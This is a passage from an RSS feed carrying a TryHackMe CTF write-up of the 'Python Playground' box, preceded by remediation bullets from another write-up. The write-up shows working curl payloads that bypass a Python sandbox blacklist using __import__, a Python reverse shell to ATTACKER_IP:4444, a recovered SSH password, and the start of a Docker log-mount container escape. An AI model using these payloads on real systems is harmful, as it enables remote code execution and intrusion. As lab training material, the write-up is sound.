&lt;li&gt;&lt;p&gt;Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: Python Playground Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 22 Sep 2026 12:09:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-python-playground-writeup-42dn</link>
      <guid>https://dev.to/exploitnotes/tryhackme-python-playground-writeup-42dn</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's &lt;code&gt;__import__()&lt;/code&gt; builtin to dynamically load &lt;code&gt;os&lt;/code&gt;/&lt;code&gt;subprocess&lt;/code&gt; without triggering the blacklisted keywords. This gives remote code execution as &lt;code&gt;root&lt;/code&gt; on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, &lt;code&gt;connor&lt;/code&gt;. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (&lt;code&gt;/var/log&lt;/code&gt; on the host is bind-mounted into the container at &lt;code&gt;/mnt/log&lt;/code&gt;) is abused to plant a SUID root binary on the host filesystem, which &lt;code&gt;connor&lt;/code&gt; can then execute for a full container-to-host privilege escalation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Recon
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; MACHINE_IP &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open MACHINE_IP:22
Open MACHINE_IP:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; MACHINE_IP &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://MACHINE_IP/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Secure Python Playground&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"login.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Login&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"signup.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Sign up&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;login.html&lt;/code&gt; and &lt;code&gt;signup.html&lt;/code&gt; both return a "site is admin-only right now" placeholder page.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Content discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://MACHINE_IP/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-x&lt;/span&gt; html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;admin.html&lt;/code&gt; (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://MACHINE_IP/super-secret-admin-testing-panel.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns an unauthenticated form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"m-3"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Python Playground! &lt;span class="nt"&gt;&amp;lt;sub&amp;gt;&lt;/span&gt;- By Connor&lt;span class="nt"&gt;&amp;lt;/sub&amp;gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control btn-primary mb-3"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Go!"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Filter analysis
&lt;/h3&gt;

&lt;p&gt;Basic execution works fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=print(1+1)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;2

Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But anything referencing &lt;code&gt;os&lt;/code&gt;/&lt;code&gt;subprocess&lt;/code&gt;/&lt;code&gt;import&lt;/code&gt; directly is blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import os print(os.popen('id').read())"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=__import__('os').system('id')"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import subprocess subprocess.run('ls')"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=import subprocess subprocess.check_output('ls')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of these return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Security threat detected!&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Filter bypass
&lt;/h3&gt;

&lt;p&gt;Calling &lt;code&gt;__import__('subprocess')&lt;/code&gt; as an attribute chain, without the literal blacklisted call pattern, gets through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=__import__('subprocess').check_output('id')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirming full command execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control mb-3"&lt;/span&gt; &lt;span class="na"&gt;readonly&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0&lt;span class="nt"&gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Reverse shell
&lt;/h3&gt;

&lt;p&gt;A raw &lt;code&gt;socket.connect()&lt;/code&gt; + &lt;code&gt;subprocess.call(["/bin/sh","-i"], ...)&lt;/code&gt; payload built purely from &lt;code&gt;__import__()&lt;/code&gt; calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://MACHINE_IP/super-secret-admin-testing-panel.html &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caught with a listener (&lt;code&gt;penelope&lt;/code&gt; in this case):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; playgroundweb MACHINE_IP Linux-x86_64  Session ID &amp;lt;1&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Landed directly as &lt;code&gt;root&lt;/code&gt; inside the web app's container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@playgroundweb:~/app# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
root@playgroundweb:~/app# &lt;span class="nb"&gt;ls
&lt;/span&gt;index.js  node_modules  package-lock.json  package.json  scripts  static
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Container flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~/app# &lt;span class="nb"&gt;cd&lt;/span&gt; /root
root@playgroundweb:~# &lt;span class="nb"&gt;cat &lt;/span&gt;flag1.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. Recovering &lt;code&gt;connor&lt;/code&gt;'s credentials (cipher reversal)
&lt;/h3&gt;

&lt;p&gt;A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;step1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# undo the outer f
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;f_inv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;step1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# undo the inner f
&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;spaghetti1245&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. SSH access as &lt;code&gt;connor&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh connor@MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@MACHINE_IP&lt;span class="s1"&gt;'s password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flag from &lt;code&gt;connor&lt;/code&gt;'s home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;flag2.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initial enumeration as &lt;code&gt;connor&lt;/code&gt; came up empty:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Sorry, user connor may not run &lt;span class="nb"&gt;sudo &lt;/span&gt;on pythonplayground.
connor@pythonplayground:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8. Realizing the RCE landed inside a Docker container
&lt;/h3&gt;

&lt;p&gt;Going back to the earlier &lt;code&gt;super-secret-admin-testing-panel.html&lt;/code&gt; shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (&lt;code&gt;playgroundweb&lt;/code&gt;) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host &lt;code&gt;connor&lt;/code&gt; was SSH'd into:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~# which docker
root@playgroundweb:~#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.&lt;/p&gt;

&lt;h3&gt;
  
  
  9. Container escape prep - abusing a shared log mount
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@playgroundweb:~# &lt;span class="nb"&gt;cat&lt;/span&gt; /proc/self/status | &lt;span class="nb"&gt;grep &lt;/span&gt;Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"proc&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;sys&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;tmpfs&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;overlay&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;devpts&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;mqueue&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;shm"&lt;/span&gt;
/dev/nvme1n1p2 on /mnt/log &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/resolv.conf &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/hostname &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
/dev/nvme1n1p2 on /etc/hosts &lt;span class="nb"&gt;type &lt;/span&gt;ext4 &lt;span class="o"&gt;(&lt;/span&gt;rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered&lt;span class="o"&gt;)&lt;/span&gt;
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data&lt;span class="o"&gt;=&lt;/span&gt;ordered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/mnt/log&lt;/code&gt; inside the container is the host's &lt;code&gt;/var/log&lt;/code&gt;, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
